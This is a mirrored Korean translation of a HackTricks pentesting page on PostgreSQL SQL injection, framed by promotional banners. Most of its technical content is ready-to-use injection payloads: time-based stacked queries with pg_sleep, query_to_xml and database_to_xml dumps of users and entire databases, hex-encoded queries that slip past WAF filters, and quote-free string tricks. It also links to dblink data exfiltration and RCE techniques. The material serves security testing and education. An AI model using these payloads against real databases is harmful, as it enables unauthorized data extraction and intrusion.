mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
115 lines
7.4 KiB
Markdown
115 lines
7.4 KiB
Markdown
# PostgreSQL injection
|
|
|
|
<details>
|
|
|
|
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배우세요!</summary>
|
|
|
|
HackTricks를 지원하는 다른 방법:
|
|
|
|
- **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
|
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
|
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
|
- **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
|
- **HackTricks 및 HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
|
|
</details>
|
|
|
|
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **저희가 채용 중입니다!** (_유창한 폴란드어 필수_).
|
|
|
|
{% embed url="https://www.stmcyber.com/careers" %}
|
|
|
|
---
|
|
|
|
**이 페이지는 postgresql 데이터베이스에서 발견된 SQL 삽입을 이용하는 다양한 트릭을 설명하고, 다음 링크에서 찾을 수 있는 트릭을 보완하기 위한 것을 목표로 합니다** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
|
|
|
|
## 네트워크 상호작용 - 권한 상승, 포트 스캐너, NTLM 챌린지 응답 노출 및 데이터 유출
|
|
|
|
**PostgreSQL 모듈 `dblink`**은 다른 PostgreSQL 인스턴스에 연결하고 TCP 연결을 실행하는 기능을 제공합니다. 이러한 기능은 `COPY FROM` 기능과 결합되어 권한 상승, 포트 스캐닝 및 NTLM 챌린지 응답 캡처와 같은 작업을 가능하게 합니다. 이러한 공격을 실행하는 자세한 방법은 [이러한 공격을 수행하는 방법](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md)을 확인하세요.
|
|
|
|
### **dblink 및 대형 객체를 사용한 데이터 유출 예제**
|
|
|
|
CTF 예제에서 **대형 객체 내에 데이터를 로드한 다음 `dblink_connect` 함수의 사용자 이름 내의 대형 객체의 내용을 유출하는 방법**을 보려면 [**이 예제**](dblink-lo\_import-data-exfiltration.md)를 참조하세요.
|
|
|
|
## PostgreSQL 공격: 읽기/쓰기, RCE, 권한 상승
|
|
|
|
PostgreSQL에서 호스트를 침해하고 권한을 상승하는 방법은 다음을 확인하세요:
|
|
|
|
{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %}
|
|
[pentesting-postgresql.md](../../../network-services-pentesting/pentesting-postgresql.md)
|
|
{% endcontent-ref %}
|
|
|
|
## WAF 우회
|
|
|
|
### PostgreSQL 문자열 함수
|
|
|
|
문자열 조작은 **WAF 우회나 다른 제한을 우회하는 데 도움**이 될 수 있습니다.\
|
|
[**이 페이지**](https://www.postgresqltutorial.com/postgresql-string-functions/)에서 유용한 문자열 함수를 찾을 수 있습니다.
|
|
|
|
### Stacked Queries
|
|
|
|
PostgreSQL은 stacked queries를 지원하지만, 1개만 예상하는데 2개의 응답이 반환되면 애플리케이션에서 오류가 발생할 수 있습니다. 그러나 시간 삽입을 통해 여전히 stacked queries를 남용할 수 있습니다:
|
|
```
|
|
id=1; select pg_sleep(10);-- -
|
|
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
|
|
```
|
|
### XML 트릭
|
|
|
|
**query\_to\_xml**
|
|
|
|
이 함수는 모든 데이터를 XML 형식으로 한 파일에 반환합니다. 많은 데이터를 한 행에 덤프하고 싶을 때 이상적입니다:
|
|
```sql
|
|
SELECT query_to_xml('select * from pg_user',true,true,'');
|
|
```
|
|
**database\_to\_xml**
|
|
|
|
이 함수는 전체 데이터베이스를 XML 형식으로 덤프하며 단 하나의 행에 저장합니다 (데이터베이스가 매우 큰 경우 DoS 공격을 일으킬 수 있으니 주의하세요).
|
|
```sql
|
|
SELECT database_to_xml(true,true,'');
|
|
```
|
|
### 16 진수 문자열
|
|
|
|
만약 **문자열 내에 쿼리를 실행**할 수 있다면 (예를 들어 **`query_to_xml`** 함수를 사용하는 경우), **`convert_from`를 사용하여 문자열을 16 진수로 전달하고 이를 통해 필터를 우회할 수 있습니다:**
|
|
```sql
|
|
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
|
|
|
|
# Bypass via stacked queries + error based + query_to_xml with hex
|
|
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h
|
|
|
|
# Bypass via boolean + error based + query_to_xml with hex
|
|
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -
|
|
```
|
|
{% endcode %}
|
|
|
|
### 금지된 따옴표
|
|
|
|
만약 페이로드에 따옴표를 사용할 수 없다면, 기본 절에 대해 `CHR`를 사용하여 이를 우회할 수 있습니다 (_문자 연결은 SELECT, INSERT, DELETE 등의 기본 쿼리에만 작동하며 모든 SQL 문에 대해 작동하지는 않음_):
|
|
```
|
|
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
|
|
```
|
|
또는 `$`로도 가능합니다. 이 쿼리들은 동일한 결과를 반환합니다:
|
|
```
|
|
SELECT 'hacktricks';
|
|
SELECT $$hacktricks$$;
|
|
SELECT $TAG$hacktricks$TAG$;
|
|
```
|
|
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **채용 중입니다!** (_유창한 폴란드어 필수_).
|
|
|
|
{% embed url="https://www.stmcyber.com/careers" %}
|
|
|
|
<details>
|
|
|
|
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong>!</summary>
|
|
|
|
HackTricks를 지원하는 다른 방법:
|
|
|
|
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
|
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
|
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
|
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
|
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
|
|
|
</details>
|